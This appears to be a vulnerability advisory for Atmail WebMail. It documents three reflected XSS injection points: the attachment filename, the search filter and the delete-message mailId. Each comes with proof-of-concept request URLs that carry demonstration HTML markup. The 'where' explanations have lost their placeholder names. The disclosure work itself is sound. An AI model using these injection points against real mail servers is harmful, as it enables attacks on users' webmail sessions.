1) View attachment message process
When a user opens a file attachment in an email, the link is as follows:
http://<atmail-server>/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/<file>
where:
- is the Atmail WebMail server
- is the unique ID for the message that contains the attachment
- is the attachment file in the message
A malicious user can inject arbitrary HTML/script code in the parameter. For example:
http://<atmail-server>/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/test.txt
<H1><marquee>This+is+an+XSS+example
2) Search message with filter process
When a user search messages with a filter (for example, using the "Friends" filter), the link is as follows:
POST
/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchRes
ultsTab5 HTTP/1.1
Host: <atmail-server>
...
searchQuery=&goBack=6&from=&to=&subject=&body=&filter=<filter>
where:
- is the Atmail WebMail server
- is the name of the selected filter by the user
A malicious user can inject arbitrary HTML/script code in the parameter. Also, This POST HTTP Request can become a GET HTTP Request, making it easier to exploit
the vulnerability.
For example:
http://<atmail-server>/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab5?searchQuery=&goBack=6&from=&to=&subject=&body=&filter=friends<H1><marquee>This +is+an+XSS+example
3) Delete message process When a user select and delete a message, the link is as follows:
POST
/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash
HTTP/1.1Host:
<atmail-server>
...
resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B
%5D=<MailID>&unseen%5B20%5D=0&unseen%5B16%5D=0&unseen%5B15%5D=0&unseen%5B14%5D=0&unseen
%5B12%5D=0&unseen%5B11%5D=0&unseen%5B10%5D=0&unseen%5B9%5D=0&unseen%5B8%5D=0&unseen
%5B6%5D=0&unseen%5B5%5D=0&unseen%5B4%5D=0&unseen%5B3%5D=0&unseen%5B2%5D=0&unseen%5B1%5D=0
where:
- is the Atmail WebMail server
- is the identifier (number) of the mail selected by the user
A malicious user can inject arbitrary HTML/script code in the parameter. Also, This POST HTTP Request can become a GET HTTP Request, making it easier to exploit the vulnerability.
For example:
http://<atmail-server>/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash?
resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B
%5D=<H1><marquee>This+is+an+XSS+example&unseen%5B20%5D=0&unseen%5B16%5D=0&unseen
%5B15%5D=0&unseen%5B14%5D=0&unseen%5B12%5D=0&unseen%5B11%5D=0&unseen%5B10%5D=0&unseen
%5B9%5D=0&unseen%5B8%5D=0&unseen%5B6%5D=0&unseen%5B5%5D=0&unseen%5B4%5D=0&unseen%5B3%5D=0&unseen
%5B2%5D=0&unseen%5B1%5D=0